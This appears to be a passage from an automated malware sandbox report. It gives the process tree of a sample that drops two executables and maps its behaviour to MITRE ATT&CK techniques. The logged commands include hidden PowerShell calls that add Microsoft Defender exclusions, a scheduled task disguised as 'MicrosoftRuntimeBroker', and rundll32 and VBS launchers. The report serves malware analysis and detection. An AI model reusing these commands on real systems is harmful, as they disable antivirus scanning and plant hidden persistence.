  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe""
  2⤵
  PID:452
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
    3⤵
    PID:332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:3204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5880
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe
  C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  PID:2668
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn "MicrosoftRuntimeBroker" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe" /sc daily /st 00:00 /rl limited /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2792
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    PID:5000
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /tn "MicrosoftRuntimeBroker"
      4⤵
      PID:4032
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /tn "MicrosoftRuntimeBroker"
      4⤵
      PID:6052
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /tn "MicrosoftRuntimeBroker"
      4⤵
      PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe""
  2⤵
  PID:4592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
    3⤵
    PID:432
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
      4⤵
      Executes dropped EXE
      PID:1900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe""
  2⤵
  PID:2652
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
    3⤵
    PID:4452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:5468
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
    3⤵
    - Checks computer location settings
    - System Binary Proxy Execution: Rundll32
    PID:1776
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
      4⤵
      Executes dropped EXE
      PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2512
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
      4⤵
      Executes dropped EXE
      PID:1936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783138802928.vbs""
  2⤵
  PID:4092
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783138802928.vbs"
    3⤵
    - Checks computer location settings
    PID:1004
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
      4⤵
      Executes dropped EXE
      PID:2456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:4596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5024
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe
  C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe""
  2⤵
  PID:4156
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
    3⤵
    PID:4252
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
      4⤵
      Executes dropped EXE
      PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe""
  2⤵
  PID:1836
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
    3⤵
    PID:5612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:3440
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
    3⤵
    - Checks computer location settings
    - System Binary Proxy Execution: Rundll32
    PID:6056
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
      4⤵
      Executes dropped EXE
      PID:2276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6112
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
      4⤵
      Executes dropped EXE
      PID:5352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783138817304.vbs""
  2⤵
  PID:2172
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783138817304.vbs"
    3⤵
    - Checks computer location settings
    PID:720
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
      4⤵
      Executes dropped EXE
      PID:6000

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
1⤵
- Executes dropped EXE
PID:5928

C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe
1⤵
- Executes dropped EXE
PID:4488

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4412
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe"
  2⤵
  - Executes dropped EXE
  PID:5836

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:3584
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe"
  2⤵
  - Executes dropped EXE
  PID:3948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...